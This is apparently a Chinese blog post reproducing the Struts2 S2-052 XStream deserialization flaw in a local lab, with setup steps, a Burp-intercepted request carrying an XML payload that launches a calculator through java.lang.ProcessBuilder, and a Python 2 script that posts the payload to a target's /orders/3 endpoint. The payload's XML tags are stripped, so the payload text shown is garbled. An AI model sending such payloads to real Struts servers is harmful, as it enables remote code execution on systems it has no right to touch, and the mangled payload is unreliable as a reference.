S2-052的POC测试

         今天朋友圈全被S2-052刷屏了。看了好些大牛分析,虽然原理不是特别明白。但是想尝试去复现一把。

一、环境搭建:

需要TOMCAT / JDK /struts-2.5.12安装包 / burpsuite 

tomcat和jdk我就跳过了。

struts-2.5.12安装包的下载地址:http://archive.apache.org/dist/struts/2.5.12/struts-2.5.12-apps.zip 

下载完成后解压,只要把app目录下的struts2-rest-showcase.war放到tomcat的webapp目录下就可以了。

二、POC测试

启动tomcat,浏览器访问 http://你的环境IP地址/struts2-rest-showcase

S2-052的POC测试_第1张图片

打开页面后,浏览器设置代理,开启burpsuite,并设置和浏览器代理的端口一致。

随便点击一个View,截包

http头加上:Content-Type: application/xml  

以及我们的POC,这个POC我也是网上找来的,实在写不来。



 0      false 0      calc  false     java.lang.ProcessBuilder start   foo  foo      false 0 0 false  false    0       


然后发送包。成功弹出计算器。

S2-052的POC测试_第2张图片

python的POC示例:

S2-052的POC测试_第3张图片

python 代码

import urllib2
import sys
cookies = urllib2.HTTPCookieProcessor()
opener = urllib2.build_opener(cookies)
xml_request = '''

 0      false 0      calc  false     java.lang.ProcessBuilder start   foo  foo      false 0 0 false  false    0       

'''
test_url = "http://"+ sys.argv[1] + ":8080/struts2-rest-showcase/orders/3"
print "test url is %s"%test_url
try:
    request = urllib2.Request(
            url     = test_url,
            headers = {'Content-Type' : 'application/xml','charset':'UTF-8'},
            data    = xml_request)
    f=opener.open(request)
    print f.read()
except urllib2.HTTPError,e:
    print "The test url is struts-52!!!"


你可能感兴趣的:(web安全)